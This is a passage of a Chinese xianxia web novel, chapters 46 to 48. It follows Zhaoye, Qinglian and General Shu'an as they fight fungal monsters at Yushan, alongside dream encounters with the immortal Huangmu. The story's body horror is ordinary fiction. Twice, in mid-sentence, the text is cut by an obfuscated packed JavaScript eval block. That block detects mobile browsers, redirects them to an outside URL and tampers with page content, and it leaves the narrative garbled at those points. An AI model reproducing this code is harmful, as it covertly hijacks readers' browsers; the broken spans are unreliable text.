焉耆仰天长啸,身躯骤然暴涨,澎湃的气浪将四周众人尽数掀翻。它小心翼翼地将牧狸藏进浓密的毛发中,载着我和穆青腾空而起,转眼间便冲出了仙界疆域。 “哇,青莲生起气来这么吓人?”尾巴见我被疾风吹得睁不开眼,连忙张开屏障,顺便替我梳理着乱发,“他的战力确实惊人,超越渊寂不过是时间问题。” “小青年纪尚轻,渊寂却已是千年老怪,自然是小青前途更不可限量,这还用说。” “若有你相助,青莲的战力必将如虎添翼,未必不能与渊寂一较高下。” “眼下玉山战事才最要紧,况且——我们尚无确凿证据。”我轻叹一声,“仅凭梦境之言,实在难以取信于人。且稍安勿躁,静待时机。” 不过几句话的工夫,我们抵达了月下州郊外,随后便将牧狸紧急送医。 老大夫把脉良久,终是摇头叹息,“这姑娘遭了非人的折磨,浑身筋骨尽断,只剩最后一口气了。如今只能用仙力护住心脉,勉强延续些时日。” 我想着不愁行的三个小东西走南闯北兴许见多识广,立即赶往青莲丹铺,在二楼找到正捧着海碗吃饭的饭饱饱。 数日不见,饭饱饱似乎又胖了几分。 捧着那么大的碗吃饭,想来这体态也不全是自封灵关窍的缘故。 “救人?” “对,快跟我走!” 饭饱饱还叼着排骨,就被我生拉硬拽拖下楼。一路狂奔回医馆,他喘得如同风箱,当然,照夜我也没好到哪儿去。 “如何,可还有救?”穆青一时也想不出更好的法子,眉头紧锁成深壑。 饭饱饱将手掌轻按在牧狸额间,浊白的仙力在掌心流转。片刻后他摇头道,“她的仙丹濒临崩解,纵有魔界的蕴灵泉,也是回天乏术了。” “果然……与我的感知的一致。”穆青沉声叹息,重新用碧绿的荷叶将牧狸裹好。荷叶散发着莹莹翠光,仿佛在为她争取最后一线生机,“她已无力维系仙力,蕴灵泉确实无用了。” “不过嘛——”饭饱饱打了个响亮的饱嗝,拍了拍圆鼓鼓的肚皮,“听说天翮城有位桃夭神医,素有起死回生之能。要不,去寻她试试?” 我愣了一愣,问道,“世上还有这种能力?” 穆青思索一番,说道,“只要仙丹没有崩解,便有救,或可一试。” 牧狸便暂时交给了不愁行照顾,照料金从原定的一分利抽成减至七成。 眼下也顾不得讨价还价,既然要前往玉山,我正好顺路找寻那位桃夭神医。 出发前,穆青还需面见人君,我决定随行同往。 次日清晨,人君正在殿前召集群臣议事。穆青等候片刻便获准觐见,我则在廊下静候。 多时未见,晋川依旧面若寒霜,背着那截枯朽木枝。 “没想到你竟还活着。” “我可是探过寂灭池的人,区区地刑司,可困不住我!” 46. 第 46 章灾难来临的前奏 晋川唇边浮起一抹高深莫测的弧度,“那你倒说说,池中究竟藏着何等怪物,连仙人都闻之色变?“ 我凝神回想,当时坠落时径直穿过了那片白雾,确实未曾看清池子的真容。 “是残渣。“晋川语气淡漠,似在陈述与己无关的往事,“被极寒玄冰冻结成雕塑后,又碎裂成渣。最可怕的是意识尚存时,要眼睁睁看着自己的血肉、骨骼、脏腑一寸寸凝结成冰,再寸寸迸裂。这般酷刑,纵是上仙也难承受。“ “你……为何如此清楚?“ 晋川从背后抽出那截再不会萌发新芽的枯枝,“连永生木都在那里失去了生机,当真无愧''寂灭''之名。我师父当年因违抗煌木屠杀魔族百姓的命令,被囚于寂灭池。他亲眼目睹自己四肢碎裂而陷入疯魔,最终身殒道消。“ “……你目睹了他的惨状?” 长叹一声,晋川再次收起了枯枝剑,倚靠阑干笑道,“为震慑我与川晋,他们强迫我们睁大眼睛,看着师父疯狂敲碎自己的躯体以求解脱。那场景……比任何刑罚都刻骨铭心。“ “煌木他……竟下令屠戮魔族百姓?“ “是啊。见无人从命,他便亲自动了手。“ 尾巴在我耳边悄声道,“照夜,眼见未必是真,煌木他……不是那样的人。” 我不知道,就连穆青都说煌木冷酷无情,眼中唯有变强。可梦中那青衣人明明温柔耐心,会认真倾听我的烦恼,甚至出言开导。况且能写出那般文章的人,又怎会是个嗜血残暴之徒? “当年的仙魔之战,你亲身经历了?“ 晋川冷笑一声,突然解开衣襟。只见他半侧身躯布满灼烧般的瘢痕,狰狞可怖。我凑近细看,那些扭曲的疤痕竟在微微蠕动,宛若活物。 “被魔皇的黑雾溅射所致,伤口永不愈合。“ “……据说会非常疼痛,痛到难以忍耐。” 穿好衣服,晋川只淡然道了一句:痛到每一天每一刻都生不如死。 说老实话,我此刻汗毛倒立,脊背发凉,没想到钩星的黑雾竟然这么厉害。 哎,也不知百年前的仙魔之战真相究竟怎样,若有机会,我还能在梦里见到那个青衣人么。 等了半个时辰,穆青出来了。并肩离开皇宫的路上,他向我说起了玉山目前的情况。 因得六万熠石助力,黑羽军向南推进神速,已逼近距玉山最近的归德城。但战事迁延,沿途已几无人烟。 穆青决定即刻奔赴玉山与舒岸会合,我自然要同行——何况还要打听桃夭神医的下落。 随即出发,焉耆化形后风驰电掣,不过几句话工夫已抵达玉山北麓。顶着凛冽的山风,我望见一处盆地中驻扎着连绵的军帐。 由于设有禁仙锥,焉耆只得在外围降落。我们刚落地,官道上便扬起滚滚烟尘,一队精锐骑兵已将我们团团围住。 “青莲仙人!“为首的老将军一眼认出穆青,急忙翻身下马,“来得正好!我等正要清剿一处怪物巢穴!“ 来者正是北祐将军。许久不见,他右眼虽负伤裹着纱布,却依旧声如洪钟,精神矍铄。 “将军,铁棘障何在?“ “撤走好几日了!去他的仙人,没有他们相助,咱们照样能杀出血路!“北祐狠狠啐了一口,突然打量起我,“这位是……“ 真是尴尬,因我胖了一大圈,北祐将军竟然认不出我来。听穆青低声解释了几句,这位豪爽的将领才恍然大悟,连连拍着脑门告罪。 当然,我也不会计较这等小事就是了。 自铁棘障消失后,玉山北麓便零星出现了无相孽的巢穴。北祐正带着一支小队前去清剿,恰好在途中与我们相遇。 我们当即随军出发。根据先前哨探的情报,队伍朝着一个小村落行进。焉耆在我怀中不停抽动鼻子,忽然嗷呜一声窜了出去,在马队前方疾奔。 穆青率先跟上——看来焉耆已经发现了怪物的踪迹。 刚到村口,便看见许多村民聚集在一起。里长急匆匆迎上来,抹着满头的汗,“将军您可算来了!那东西越来越大了!“ 我紧跟在穆青身后下马。只见村里的青壮年都手持锄头柴刀,脸上写满惊惶,一个瘦骨嶙峋的中年人突然扑倒在地,哭嚎着求救,“救救我家婆娘和娃儿!“ “杜老三的媳妇被那怪物拖走了,大伙儿都不敢上前,也不知人还活着没有。“里长跟在北祐身后问道,“那到底是什么妖兽?“ “让乡亲们都退远些。“北祐命令士兵封锁道路,转身询问穆青的意见。 “我和照夜先去探查。“穆青拉住我,面色凝重地走向空无一人的村落。 暮色渐沉,村庄里寂静得诡异。 我紧张得心悬到嗓子眼,瞪大眼睛警惕着四周动静,尾巴则安静地伏在我发间。 忽然,焉耆从角落窜出,摇着尾巴朝我们吠叫。尾巴立刻揪住我的头发低呼,“在那儿!“ 话音未落,一条粗壮的森红色触手猛地从山脚下一间屋舍中窜出!穆青本能地凝出千百花瓣利刃掷去,谁知那触手非但未伤分毫,反而如获至宝般裹住蕴含仙力的花瓣,贪婪地吮吸起来,转眼便将仙力吞噬殆尽。 饱餐后的触手舒展着黏腻的身躯,缓缓将前端伸向我们。 滴答流淌着粘液的猩红色嘴巴里是密密麻麻的利齿,咕噜咕噜声像是从巨大的腹腔传了出来,极其骇人。 不知为何,我想起了千手仙人,他的千手,也给我这样的恐惧感。 “是无相孽,刚孵化不久。“穆青催动仙力,信手拔起两棵大树,指尖轻挥间巨木如铁钉般重重砸在触手上。 “照夜,来看。“ 我强忍恐惧凑近,只见断裂的触手竟从断面伸出无数红色菌丝,如活物般缠绕住另一截断肢。不过片刻,两段触须竟已“缝合“如初! 穆青毫无惧色,近距离仔细观察后,起身长叹,“果然棘手。连刚孵化的幼虫都难以消灭,更不用说那些寄生人体的成熟体——连辨认都极难。“ “煌木说过,必须用火烧才能斩草除根。“ 一直无所作为的尾巴跳到焉耆脑袋上,说道,“得用自然之火。蕴含仙力的火焰反而会成为它们的食粮。“ 穆青打了个响指,两棵巨木便轰然燃起烈焰。触手在火中发出滋啦声响,剧烈痉挛抽搐后,渐渐焦黑僵死。 浓烈的焦臭味扑面而来,我连忙抱起焉耆,生怕它乱吃。 杜老三的房屋内,黄绿色的黏液已覆盖了每一寸墙壁与地面,如活物般缓缓蠕动。地下室里,随着供给养分的触手消亡,尚未孵化的卵已奄奄一息。 黏稠的液体中,隐约可见一个紧搂着孩子的妇人身影——她们全身都覆满了搏动着的红色菌丝,仿佛被某种诡异的血络所包裹。 “没救了。“穆青眼中闪过一丝痛楚,“这就是卵的核心。“ 火焰升腾而起,赤红的光芒映亮暮色,将未诞生的怪物吞噬殆尽。远望之下,那烈焰如一朵怒放的红莲,妖异中透着凛然。 “小青,之前寄生在舒岸身上的,也是这种东西吗?“ “嗯。这些怪物有着严密的等级秩序,如同蚁群。有些个体生来只为寻找食物,为母体供给能量,而母体则负责不断繁衍。这些''工蚁''逐渐演化出智慧,会以更高明的方式获取仙力——比如寄生在宿主身上却不急于吞噬,反而利用他们吸引更多优质的猎物。“ “这和我见过的另一种怪物不太一样。“回忆起那个名为“膣藟“的存在,我不安地攥紧衣袖,“瘴母神的胚胎是虫形,无相孽的本体是菌丝,而膣藟的真身却是一只长满红色鞭毛的蛆虫……天!我明白了!瘴母神和无相孽都只是膣藟的一部分?!“ “天呐,照夜你好聪明!“尾巴兴奋地缠上穆青的腿,一边夸赞我,一边不忘蹭着求抚摸。 “现在看来,确实如此。“穆青神色凝重,“这怪物 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铁棘障已消失,玉山彻底失守,刚刚有所起色的战局再度陷入危局——仙界,终究是撒手不管了。 血色残阳下,我们的影子被拉得很长,仿佛也承载着这片土地沉重的命运。 近子夜时分,我们终于抵达玉山驻军的大本营。此处已发展成颇具规模的镇落,朝明正在入口处焦急张望,见到我们立即上前牵住马缰。 将军营帐内,舒岸正与一位少女低声交谈,见到我们到来,他紧锁的眉头只舒展了一瞬。 穆青却径直走向那个陌生少女,轻声唤道,“铁棘,你为何在此?“ 我大吃一惊,仔细端详起眼前这个肌肤胜雪、身姿纤弱的少女——她竟是铁棘仙人? “你来得正好,青莲。“少女拉住穆青的衣袖,眉间凝着困惑,“仙帝为何突然召我回去?仙丹供应也已中断,我实在无力维系屏障了。“ 穆青接下来的话,却让在场众人如遭雷击。 “人君已承认,当初仙界出兵的条件,就是将玉山南三城划归仙界。“ 舒岸攥紧的拳头忽然松开,唇边泛起自嘲的苦笑,“他终究还是承认了。再隐瞒下去,确实毫无意义了。“ 铁棘仙人蹙眉啧了一声,“当务之急是屏障该如何维系。“ 穆青深吸一口气,轻拍少女瘦削的肩头,“我随你去。“ 二人相继走出营帐,身影没入沉沉夜色。 舒岸颓然地跌坐椅中,布满血丝的双眼低垂,怔怔望着案上那封尚未落款的密信。 我悄悄近前,看清了信上内容: 〖臣舒岸谨密启圣鉴: 玉山南三城乃太祖血战所得,今邪祟横行,生灵涂炭。先皇后棠梨诞于南三城之天翮,陛下昔尝执其手曰“永护桑梓“。今城郭倾颓,若弃而不救,非惟负太祖之灵,亦愧先皇后遗愿。 臣请率锐卒三千,期九十日,誓扫妖氛。若败,甘伏军法;若成,愿建棠梨祠以安亡魂。刀兵已整,唯待敕令。〗 “三千?我记得此地驻军应有三万?“ 舒岸抿了抿干裂的嘴唇,“陆续撤走了。月下州及其他城池也需布防。照夜,是我无能,既无力阻止灾祸,现如今,连送出这封信的勇气也没有了。” 说着舒岸将信笺揉作一团,倚在案边、满脸倦意,他也许很久没睡个好觉了。 我悄悄展平信纸,又细读一遍。没想到先皇后棠梨的故乡竟在玉山南的天翮城。 局势愈发扑朔迷离。渊寂索要归德、化西、天翮三城的目的何在? 正沉思时,尾巴竟自作主张地滑向舒岸膝头,金色的仙力将昏暗的营帐照得通明。 我正要阻拦,却见光芒骤敛—— 尾巴如利刃般刺入了舒岸胸膛! 变故只在电光石火间。舒岸痛苦地捂住心口倒地,下一刻,猛地咳出一滩黑血。 47. 第 47 章舒岸,为何偏偏是你呢 我胆战心惊地望去,只见那滩黏稠黑血中,竟有无数血红色菌丝在蠕动,宛若活物般扭曲蔓延。 “将军!出什么事了?“帐外传来朝明焦急的呼喊。 我急忙拉住门帘,压低声音,“没事,将军无恙,这里有我。“ “原来是照夜姐姐,若有需要随时唤我。“ 我迅速抓起油灯掷向那些蠕动的菌丝。 舒岸双眼涣散地倚在木柱旁,大口喘息着。待菌丝在火焰中化为灰烬,我扶住他的后脑勺,轻轻拭去他唇边的残血。 “……棠梨……” “……没事了,我扶你去休息。” 舒岸沉重的身躯几乎完全倚在我肩上。我将这个神智模糊的男人安置在床榻上,用湿帕细细擦拭着他的脸,直到他昏沉地睡去。 尾巴伏在我肩头,沉声道,“一旦被这种东西寄生,就再难根除。除非连宿主一并消灭。“ “连你也无能为力吗?“ 尾巴晃晃脑袋,沿着舒岸的手臂蔓延至他胸膛,“方才我只是隐约察觉他体内有股熟悉的气息……果然如此。既已感染,便再无治愈可能。终有一日,他也会变成……变成无相孽那样的怪物。“ “他若死了,玉山就彻底完了。“想到此处,我心如刀绞,前所未有的无力感涌上心头,眼角不由湿润了,“为什么偏偏是他……“ “照夜。“尾巴落在我掌心,光晕凝成一柄寒芒吞吐的利刃,“作出你的抉择。若不杀他,必成大患。舒岸并非普通人,他的量海……堪比青莲。“ “量海?” “修仙者体内储存仙力的容量,谓之量海。这直接决定了修为高低。与临时凝炼外界仙力相比,运用自身储备的仙力更为迅捷。高手相争,胜负往往只在瞬息之间。“尾巴的刃尖微微颤动,“人体本就是另一种熠石,只是储存效率低下,还会通过灵关窍逸散,且负荷极大,实在得不偿失。“ 我垂首沉思片刻,又问,“那我的量海……究竟如何?“ 尾巴轻轻托起我的手,指挥着刃尖对准榻上昏睡的男人,“照夜,你的量海……上限未知。“ 见我迟迟未动,尾巴有些怔愣,也停下了动作。 光刃渐渐涣散,尾巴缠绕在我手腕上,像是在等我给他一个回答。 “既如此,咱们寸步不离跟着舒岸将军,确保他不出事,但在那之前,我希望他活着,为玉山的百姓争取一线生机。” “……你是担心他若死了,人君会立即撤军,将玉山拱手让给仙界?以免灾祸波及月下州?” “嗯。渊寂行事诡谲难测,不知在盘算什么。世上哪有这般巧合——他想要玉山南境,这里就爆发无相孽之灾。“ 尾巴长叹一声,光晕温柔地蹭过我的脸颊,“好吧。既然这是你的决定,我愿意听从。” “不知小青与铁棘仙人能否重新竖起屏障……“ “你知不知道铁棘障为何物?“ 见我摇头,尾巴继续解释道,“其实就是结界,只不过铁棘修为尚浅,仅能撑起一面屏障,远不能与煌木编织的结界相提并论。若有青莲相助,或许能勉强撑起一道阻隔无相孽的屏障,但——终究治标不治本,因结界无法织得足够细密。“ 我沉思良久,忽然想到关键,“既然这些怪物以转化后的仙力为食,结界岂不成了它们的盛宴?“ “傻瓜,那么大的结界怎会全靠仙人自身的仙力支撑?除了煌木那种量海深不可测的存在,没人能单凭一己之力维持结界。“尾巴的光晕轻轻荡漾,“你也看到了,铁棘必须亲自坐镇。说白了,她凝炼仙力的速率很高,却需占用大部分注意力,难堪大用。不过,只要她凝神运气,便可利用自然中未转化的仙力维持结界不倒,眼下倒也够了。” 听到这里,我对眼前的局势已有了大致了解。 看来舒仲在灵璧城期间,确实已与渊寂达成了某种协议——再给舒岸一些时日,若仍无法剿灭无相孽,便将归德、化西与天翮三城拱手相让。 朝明见舒岸终于沉入睡眠,险些落下泪来。这位灭妖大将军已经太久未能安眠,作为贴身的亲兵,他既心疼又无奈。 所幸归德城传来捷报,通往那里的道路已被肃清,城池应该并未失守。 去休息时,我好奇问朝明,是哪位将军如此迅捷,他说,正是当初押送熠石前来的大将——迩松。 我心中感慨,迩松虽对我心存芥蒂,却愿为他所敬重的大将军留守相助,倒也算重情重义了。 带着满身疲惫沉入梦乡,我再睁眼时,竟又置身云端。 坐忘矶上,那盏早已熄灭的素纱灯下,青衣人正仰首凝望。 我忍不住细细端详他的背影——身量不高却挺拔如松,青色长袍随风轻扬,发带束起墨瀑般的长发,俨然是个清俊的少年。 “你又来了。“ 见他回眸,我慌忙坐起身。 高处的风缓缓流动,似是清晨日出之前,带着一丝湿润的气息。 “抱歉……你是在等小青吗?不知为何,我偶尔也会闯入本该属于他的梦境。“ 少年莞尔一笑,向我走近,“无妨,我并不介意。话说,你们和好了?“ 想起曾经一把鼻涕一把泪向他倾诉那些乱七八糟的烦恼,我耳根发热,点头道,“是我太心急,差点中了坏人的挑拨离间计。小青绝不会伤害我,我该更信任他才是。“ “不必苛责自己的莽撞与不安。“少年拉我起身,含笑端详起来,“生而为人,这些都是再自然不过的事。也罢,来都来了,一起等待日出吧。” 古松下的石桌上,一套青瓷茶具纤尘不染,少年作势斟茶,虽无茶汤,却仍郑重其事地举杯细品。我总不能拂人好意,只能假装仰头“喝”尽。 “滋味如何?“ “……里面好像没有茶……” “哈哈哈!“少年捧腹大笑,眼梢弯起狡黠的弧度,“那你还假装喝下?就当有茶吧,条件所限嘛。“ “你是……煌木?“ “我们曾有一面之缘,你不记得了?“ 风势渐起,灰白的天幕却仍未迎来日出应有的暖光。 “我只记得你当时写的文章——是倒数第二名。“ “可我记得你,记得青莲身边的——那一缕微风。“ 我们没有迎来朝阳,我的鼻尖感受到了冰冷的落雨。很快,淅淅沥沥的小雨从天而降,滴滴答答砸在了脆弱的梦壁上。 煌木仰着头,望向天穹深处,看不出在思索什么。我此刻有无数问题想问,可话到嘴边却凝滞了,像被一道无形的枷锁扼住喉咙,使我最终只能在梦破碎之前,问出唯一一个问题。 焉耆,可曾是你——赐予它真名。 漫长的沉默后,这个少年终于看向我,目光带着探究。他的声音模糊而轻柔,却能穿过纷至沓来的细雨来到我的耳边。 是,吾曾命它镇守落羽山,直至等到它的新主前来,拔出石钉,还落羽以青苍。 我的声音足够高昂,我相信正凝视我跌落黑暗深处的青衣少年听到了。 既如此,你到底是谁,因最初赐它真名的主人——是太初僊! 我被猛地拽出梦境,一睁眼就看见尾巴正在我脸上欢快地蹦跳。帐外传来呼呼啦啦的声响,夹杂着噼里啪啦的动静——我竖耳一听,原来下大雨了。 狂风几乎要将整个帐篷连根拔起。 我勉强撑开门帘,望向巍峨的玉山。只见一道青色屏障直插云霄,在天穹处汇聚起厚重的乌云。雷霆如倒悬的枝桠在云层中翻滚,仿佛要将大地上的生灵尽数撕裂。 与我一同仰望这番景象的将士们纷纷喜极而泣。他们在狂风暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549513|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨中鼓掌欢呼,这道屏障成了他们继续南征的信心与倚仗。 “青莲当真了得,仅一夜之间就掌握了编织结界的诀窍,真是心灵手巧。“ 我抬手遮挡风雨,笑着将尾巴塞进衣襟里,“那当然。小青不仅厨艺精湛,还会裁衣制鞋。只要得空,每年都会亲手为我缝制两套新衣呢。“ “……那你会做什么?“ 一时语塞,我不满地拍拍胸前的尾巴,哼了一声,“走,去看看舒岸可好些了。“ “啊啊啊,笨蛋照夜,衣来伸手饭来张口。若没有青莲照料,你怕是要饿死自己。“ “胡扯,他不在,还有你,你也会做饭,再说多亏你,我如今每日最多只能吃下两口饭,哼!” 剔除了一部分菌丝后,舒岸状态稍微好了一些。我前去探望时,却见一队装束与黑羽军截然不同的人马停在主帐外。 朝明见状连忙撑伞迎上为我遮雨。见他满面厌弃,我低声询问来人的身份。 “太师派来的说客,专程来逼迫将军放弃玉山。虽君上已允诺三月之期,他们仍不死心,实在可恨!“ 我蹙眉走近,透过帘隙望去。舒岸显然刚醒,因身体虚弱而半倚在榻。 一个衣着华贵的陌生男子正负手踱步,此人下巴尖瘦,面色苍白,唇角噙着讥诮的冷笑。 “舒岸,你未免太不识抬举。若非君上一力担保,岂容你在此拖延?还不速回月下州整军布防——护卫君上方是你的本职!“ “那是何人?“我不悦地问朝明,“好大的口气,竟如此咄咄逼人!“ 朝明压低声音,风雨中倒也不用担心会有外人听到,“那是舒俱,君上的堂兄。” “君上既已许下三月之期,又何必急于一时。“舒岸声音冰冷,“还未贺你,新婚之喜。“ 舒俱耸肩轻笑,“哎呀,谁让你迟迟不愿成家?施小姐心灰意冷选择下嫁于我,也怨不得旁人。“ 朝明咬牙切齿道,“好个无耻之徒!为巴结太师,不惜休弃发妻迎娶施斓小姐,简直卑劣!“ 尾巴可太喜欢这等八卦闲话,全然不顾大雨已淋湿我半边衣衫,执意要继续偷听。 “请回吧。三月之内若未能清除无相孽,我舒岸自会向君上请罪。“ “我此行是为清点黑羽军持有的熠石。既然只剩三千驻军,何需六万之数?还不速速清点交接!“ 听到这里,我心头火起,再也顾不得礼数,一把推开试图阻拦的月下州士兵,径直闯入营帐。 “六万颗熠石是黑羽军的军需,你休想带走分毫!” 舒俱扫我一眼,歪着嘴笑了笑,“哟,舒岸,听闻你请了散仙助战,莫非就是眼前这位?哈哈,仙名该不会是——‘肥婆仙人’吧!” 话音未落,舒岸已反手执剑抵住舒俱的咽喉。他眼中寒芒乍现,示意朝明率兵围住这群说客,“注意你的言辞,舒俱。别以为你兄长将长子过继给君上、立为储君,你便可肆无忌惮。还是说——”舒岸冷笑一声,“你也想尝尝被怪物吞噬的滋味?我不介意将你喂给那些饥肠辘辘的怪物,想必它们会格外喜欢你这张能说会道的嘴。” “你、你疯了!我可是钦差!你敢杀我?!” 舒岸缓缓起身,捂着胸口踉跄向前。 我急忙上前搀扶。舒岸粗糙温热的手掌重重压在我肩头,沉如山岳,“那又如何?回去告诉施铎,告诉你兄长舒尚——待我肃清这里的怪物,下一个便轮到他们。等着。” 面对武将凛冽的杀意,舒俱这色厉内荏的草包终究露了怯。他慌不迭冲向帐外,翻身上马欲逃。尾巴悄无声息地一扫,那人便连人带马栽进泥潭,狼狈不堪。 周围将士无不露出鄙夷快慰的大笑声,气得舒俱在泥泞中嘶吼,“你们等着!我定要回去告诉哥哥,叫你们黑羽军吃不了兜着走!” 48. 第 48 章可怕的菌株 “别淋雨,当心受寒。”舒岸抬起衣袖为我遮挡风雨,自己却任凭暴雨浇淋。他仰望着重新矗立的青色屏障,喃喃道,“青莲确实了不起……多亏有他。只是……我也许没有能力,也没有时间了。” 回到帐中,我一边擦拭湿透的长发,一边问道,“你能感觉到身体的异样?” 舒岸并未避讳,示意朝明为他更衣。我连忙移开视线,却挡不住尾巴探着脑袋张望——偷看就罢了,还不忘评价一嘴,真是一副漂亮的身躯。 “嗯。每到夜深人静时,总有个声音催促我返回月下州。我便明白——那怪物仍在我体内。” 朝明闻言面色骤变。他曾亲眼见证穆青将怪物逼出舒岸身体,万万没想到竟还有残余。 “不过多亏你的尾巴,我感觉好多了。至少昨夜未曾听见那恼人的低语。”舒岸回头冲我微笑,“多谢你,照夜。” 此时有将士来报,迩松从前线传来急讯。舒岸展信阅罢,沉声下令,“朝明,命黑羽军甲申、乙酉两营一个时辰后随我奔赴归德。” “卑职领命!” 我接过舒岸手中的信笺,尾巴也顺便趴在我手背上看着,并一字一句读了出来。 〖伏禀将军麾下: 归德以北现无相巢穴,妖氛炽盛,欲犯其城。卑职等屡以符山鹊传书叩请城主阿迪纳,然其闭阙拒援,坚壁不应。今暂屯兵桐树镇,伏乞将军示下,定夺进退。 甲子执戟使迩松谨禀〗 “既有援军,为何要拒?” 舒岸一边系紧软甲,一边解释,“信不过月下州罢了。我必须亲自去一趟,绝不能让无相孽破城,否则后果不堪设想。” “我与你同去!”我急切道,“绝不会添乱,将军请带我同行!” “……可想清楚了,照夜!” 我咬咬牙,点头道,“等我片刻,我去向小青辞行。” 正要转身,舒岸忽然握住我的手臂。他欲言又止,最终只是轻轻点头,“好,我等你。” 顶着暴雨在半山腰寻到穆青时,他正端坐莲台凝神运功,青色的仙力从座下源源不断汇入屏障。 铁棘仙人将我拦在数丈之外,厉声道,“此刻绝不能打扰青莲,否则屏障必溃!” 我注视着这位目光锐利的少女,问道,“仙帝既已召回,为何你却留下?” 铁棘微微一怔,挥手展开屏障将我也笼罩其中,隔绝了瓢泼的雨声,“随心而已。大不了革去上仙之位又如何?我修仙本为快意恩仇,管他什么仙帝诏令。纵被削去仙籍,也可远走映山都嘛。我听迩松说,魔皇陛下求贤若渴,我还愁没去处?哈哈,何处寻不得伯乐,何必非要讨那老东西欢心。” “……老东西?你这么称呼仙帝,不怕百目法眼告发你?” 铁棘大笑着,叉着腰撇撇嘴道,“告发又如何,他依旧是个——老东西。” 我擦擦额头的雨水,望了一眼穆青,低声道,“看来我们有共识,那我信你。请你转告小青,我要随舒岸将军去归德,不必担心我,焉耆便留下听他安排。” “嗯,我会帮你传信。”铁棘坏笑着打量我一番,又说,“青莲的爱好还挺特别,貌美无双的凤琤公主他看都不看一眼,却喜欢你。好在他不像赤羽那么没脑子,不然我才不愿与他共事,教他织障之法。” 我本想赶紧走,却被铁棘一句话吸引了注意力,赶忙问道,“你认识赤羽?” “那是当然,他好歹是金珠阵列的头名,总爱摆架子。”铁棘撇了撇嘴,“他那悍妻素雪更是像吃了火药,成天疑神疑鬼,生怕有人抢她夫君,简直走火入魔。哼,区区一个赤目小子,我可瞧不上。罢了,与你说这些作甚,还不快出发?” 我只得匆匆下山。途中尾巴不住感叹,没想到仙人间的爱恨情仇也这么精彩,真是开了眼界。 很快,两支共计百人的队伍穿过玉山关,沿着泥泞的道路向归德城疾行。间隙间,朝明为我介绍了甲申、乙酉两军的统领——王拓与枝荣。 二人皆很年轻,且枝荣是随迩松前来的魔族将领。我悄悄打量这位年轻的魔将,他竟微笑着向我颔首致意。 风雨愈发猛烈,尾巴张开屏障为我遮风挡雨——主要头发湿了会令他抓不紧,且他讨厌自己的小窝湿漉漉。 我悄声问尾巴可见过枝荣,他惬意地躺在我胸前,慢悠悠道,“他是迩松的部下,自然见过你仙力爆发的模样。” “一想起他们竟然想把我炼化成仙丹,我就气得牙痒痒。” “哈哈哈,活人炼丹本就极难,仙丹易碎,需得一点点剥离皮肉筋骨,小心暴露仙丹后缓缓摘取。稍有不慎就会崩解,甚至炸炉。他们不过是吓唬你罢了。”说着,尾巴蹭了蹭我的香瓜,“放心,你的仙丹谁也拿不走。” “说得人毛骨悚然!谁会拿活人炼丹?简直疯了!” “啧啧,你还是太天真。笨蛋照夜!” “讨厌!笨蛋尾巴!” “笨蛋青莲!” “喂!不准说小青坏话。” “笨蛋舒岸!” 我低头把尾巴揪到面前,根本无法从光团上看到他的表情,“干嘛突然开始说别人坏话。” “笨蛋钩星!” “……” “笨蛋煌木!” “没完没了?你吃错药了?” “数完了,正好五个笨蛋聚在一起,真是难得。” “别闹了。”我忧心忡忡地望着舒岸严峻的侧脸,“大战在即,还不知要如何应对。这怪物究竟从何而来,实在令人心烦。” “你可曾想过——这种怪物从未被真正消灭过?它们只是不断被镇压、沉眠、苏醒、活跃,周而复始。” 我脊背发凉,紧盯着尾巴,“你是不是知道什么内情?” “啊?我猜的。” “若真如你所料,为何典籍中全无记载?” “有人刻意抹去了它们存在的痕迹。”尾巴顿了顿,“史书亦是人所撰写,篡改起来再容易不过。” 我恍然大悟。瘴母神与无相孽皆有信徒,或许在某些人眼中,它们并非怪物,而是——凌驾万物之上的存在,神? 可这三界之中,从未有过典籍记载的、集天地灵气诞生的真神。 思及此处,我只觉毛骨悚然。 膣藟——究竟是什么? 一路行来倒不算太难走。 为赶时间,将士们皆骑着名为“蹑云驳“的妖兽。这坐骑通体雪青,鬃毛如流火跃动,四蹄覆着细密鳞甲,肩高足有七尺。虽肋下仅生着三尺玉骨蝉翼,却能借风力疾驰,甚至可滑翔百丈之遥。更难得蹑云驳性情温顺易于饲养,是凡界军中常用的良驹。 我身下这匹蹑云驳格外雄健,原是舒岸的坐骑,名唤“小兔“。 朝明说这是舒岸自幼养大的,虽极通人性,但脾气倔强从不让他人骑乘,却独独准我,想来我是什么亲近妖兽的体质吧。 当夜扎营休整时,我依旧毫无食欲,只在河边简单梳洗梳洗。出门在外,想保持洁净已是奢望,只能勉强擦拭一番。 回到篝火旁,舒岸将干粮递来劝我吃些。我披散着湿漉漉的头发摇摇头,“一点也不饿,你吃,别浪费粮食。“ “又把你从青莲身边带走了,望他别要怪我。“ “这是哪里的话。小青知道顾全大局的。“ 舒岸笑了笑,说道,“等解决了无相孽,我再请你们喝酒。” 我凑过去,小声问道,“舒岸,我想问你一件事。” “直说便是,对你,我也再无隐瞒,必知无不言。” “无相孽这个称呼……是从哪儿来的?” 舒岸闻言愣了半晌,似乎也有些困惑,仔细回想后才道,“玉山爆发灾祸之初,哥哥便接到急奏,玉山附近有一小镇信仰无相之神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549514|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,致使百人一夜之间死去,官府去查,杳无音讯,这才急报月下州。” “……还有吗?” 